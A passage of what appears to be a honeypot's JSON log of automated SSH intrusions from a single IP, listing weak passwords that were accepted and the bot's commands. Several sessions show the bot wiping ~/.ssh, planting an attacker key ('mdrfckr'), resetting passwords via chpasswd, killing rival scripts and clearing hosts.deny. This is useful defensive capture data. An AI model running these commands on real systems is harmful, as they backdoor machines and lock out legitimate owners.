PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:47:54.509137+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:47:55.075339+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:47:55.421650+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:47:56.032591+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:47:56.384285+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:47:56.971703+00:00","kind":"output","latency_ms":null,"data":"top - 11:47:56 up 7 days, 8:38, 0 user, load average: 0.34, 0.42, 0.31\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7467 free, 8420 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:47:57.321054+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:47:57.963841+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:47:58.311807+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:47:59.153171+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:47:59.500513+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:48:00.115089+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:48:00.466168+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:48:01.453363+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:48:01.797794+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:48:02.906687+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"centreon","method":"password","accepted":true,"tier":"other"}]} {"id":"643fabba-0c38-40d2-8dcc-19eb4c385720","name":"gritty-brisk-chickadee","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":37664,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:47:45.270774+00:00","ended_at":"2026-08-27T11:47:47.243425+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"dd6a2939-0007-41cb-bd63-1f74977a05b8","name":"wooded-eager-lapwing","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":37654,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:47:42.839805+00:00","ended_at":"2026-08-27T11:47:44.615959+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"5cde8efb-2e28-4eef-8915-be0e7315f5c5","name":"honest-thawing-cicada","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":39746,"username":"daniel","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":328,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:45:57.022104+00:00","ended_at":"2026-08-27T11:45:58.436862+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2133,"events":[{"seq":1,"at":"2026-08-27T11:45:38.892239+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:45:39.218446+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:45:43.816851+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:45:44.132120+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:45:44.457252+00:00","kind":"input","latency_ms":null,"data":"echo -e \"danieldaniel\\nM8hZZhvGdyOg\\nM8hZZhvGdyOg\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:45:44.791964+00:00","kind":"input","latency_ms":null,"data":"echo \"danieldaniel\\nM8hZZhvGdyOg\\nM8hZZhvGdyOg\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:45:45.118649+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:45:45.499187+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:45:45.830577+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:45:46.707170+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:45:47.038267+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:45:47.946522+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:45:48.275925+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:45:48.639388+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:45:48.967923+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:45:49.625165+00:00","kind":"output","latency_ms":null,"data":" 11:45:49 up 7 days, 8:35, 0 user, load average: 0.07, 0.08, 0.07\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:45:49.952628+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:45:50.714082+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:45:51.042729+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:45:51.586454+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:45:51.913649+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:45:52.578632+00:00","kind":"output","latency_ms":null,"data":"top - 11:45:52 up 7 days, 8:35, 0 user, load average: 0.07, 0.08, 0.07\nTasks: 110 total, 1 running, 109 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7308 free, 8579 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:45:52.907879+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:45:53.261543+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:45:53.587716+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:45:54.482252+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:45:54.810880+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:45:55.144090+00:00","kind":"output","latency_ms":null,"data":"daniel"},{"seq":29,"at":"2026-08-27T11:45:55.471230+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:45:56.693751+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:45:57.022913+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:45:58.340179+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"daniel","password":"danieldaniel","method":"password","accepted":true,"tier":"other"}]} {"id":"d625f9e6-cde4-4ed7-9c27-fa673947f09d","name":"autumn-calm-grebe","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":41654,"username":"daniel","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:45:42.510788+00:00","ended_at":"2026-08-27T11:45:43.717737+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"daniel","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"890f51df-ffdd-43b5-89aa-d2c10197784d","name":"shifting-leafy-dunlin","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":41646,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:45:39.963778+00:00","ended_at":"2026-08-27T11:45:41.857963+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"35d65587-5e48-476d-b292-410e632ac2a8","name":"brisk-vernal-bison","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":52084,"username":"test","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":328,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:43:58.000327+00:00","ended_at":"2026-08-27T11:43:59.549429+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2118,"events":[{"seq":1,"at":"2026-08-27T11:43:40.343894+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:43:40.676771+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:43:44.380474+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:43:44.671334+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:43:44.998441+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123qweasdzxc\\n9vAGihOgqCnM\\n9vAGihOgqCnM\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:43:45.331646+00:00","kind":"input","latency_ms":null,"data":"echo \"123qweasdzxc\\n9vAGihOgqCnM\\n9vAGihOgqCnM\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:43:45.659741+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:43:46.253356+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:43:46.581239+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:43:47.716284+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:43:48.046954+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:43:48.963151+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:43:49.293776+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:43:49.884360+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:43:50.213579+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:43:50.883459+00:00","kind":"output","latency_ms":null,"data":" 11:43:50 up 7 days, 8:33, 0 user, load average: 0.35, 0.45, 0.3\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:43:51.212754+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:43:51.982517+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:43:52.313654+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:43:52.631187+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:43:52.960019+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:43:53.459938+00:00","kind":"output","latency_ms":null,"data":"top - 11:43:53 up 7 days, 8:34, 0 user, load average: 0.35, 0.45, 0.3\nTasks: 115 total, 1 running, 114 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9056 free, 6831 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:43:53.788721+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:43:54.174597+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:43:54.501866+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:43:55.332515+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:43:55.660480+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:43:56.135284+00:00","kind":"output","latency_ms":null,"data":"test"},{"seq":29,"at":"2026-08-27T11:43:56.462744+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:43:57.670809+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:43:58.001276+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:43:59.452122+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"test","password":"123qweasdzxc","method":"password","accepted":true,"tier":"other"}]} {"id":"d11858f1-3fc6-41f1-b66f-9341a91633db","name":"nameless-solemn-woodchuck","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":52098,"username":"test","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:43:43.276350+00:00","ended_at":"2026-08-27T11:43:44.285001+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"test","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"75dd39d6-f1e2-42f3-969b-ed7169a8edbd","name":"emerald-sterling-whimbrel","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":52096,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:43:41.424147+00:00","ended_at":"2026-08-27T11:43:42.362029+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"f82edd59-1d77-4e21-aabc-38e643c9955c","name":"steady-emerald-bobcat","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":42768,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":328,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:41:54.297613+00:00","ended_at":"2026-08-27T11:41:55.633851+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2150,"events":[{"seq":1,"at":"2026-08-27T11:41:35.698499+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:41:36.024905+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:41:39.790475+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:41:40.184371+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:41:40.511183+00:00","kind":"input","latency_ms":null,"data":"echo \"root:YzCnoGtHWVVE\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:41:40.835088+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:41:41.163402+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:41:41.744315+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:41:42.072620+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:41:43.094050+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:41:43.425705+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:41:44.438315+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:41:44.768843+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:41:45.656208+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:41:45.986793+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:41:46.875314+00:00","kind":"output","latency_ms":null,"data":" 11:41:46 up 7 days, 8:31, 0 user, load average: 0.08, 0.08, 0.05\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:41:47.202299+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:41:47.716314+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:41:48.044062+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:41:48.637188+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:41:48.966409+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:41:49.666147+00:00","kind":"output","latency_ms":null,"data":"top - 11:41:49 up 7 days, 8:31, 0 user, load average: 0.08, 0.08, 0.05\nTasks: 110 total, 1 running, 109 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7944 free, 7944 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:41:49.993909+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:41:50.789255+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:41:51.113529+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:41:51.461005+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:41:51.789796+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:41:52.611038+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:41:52.934788+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:41:53.975492+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:41:54.298495+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:41:55.536561+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Password@123","method":"password","accepted":true,"tier":"other"}]} {"id":"c6f8436e-89fb-4634-9908-28427bbc3f72","name":"quaint-cosmic-narwhal","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":42790,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:41:38.616289+00:00","ended_at":"2026-08-27T11:41:39.691768+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"d1699b24-76cd-4ef6-8162-c818df8444ff","name":"frank-feral-jay","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":42780,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:41:36.783589+00:00","ended_at":"2026-08-27T11:41:37.959426+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"8cfa3a5a-651c-4953-aec2-2d764a29de42","name":"drifting-amiable-tanager","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":41464,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":329,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:38:02.282253+00:00","ended_at":"2026-08-27T11:38:04.558531+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2139,"events":[{"seq":1,"at":"2026-08-27T11:37:43.886777+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:37:44.213866+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:37:48.545470+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:37:48.858283+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:37:49.184627+00:00","kind":"input","latency_ms":null,"data":"echo \"root:wbKyouhhmXUZ\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:37:49.513653+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; 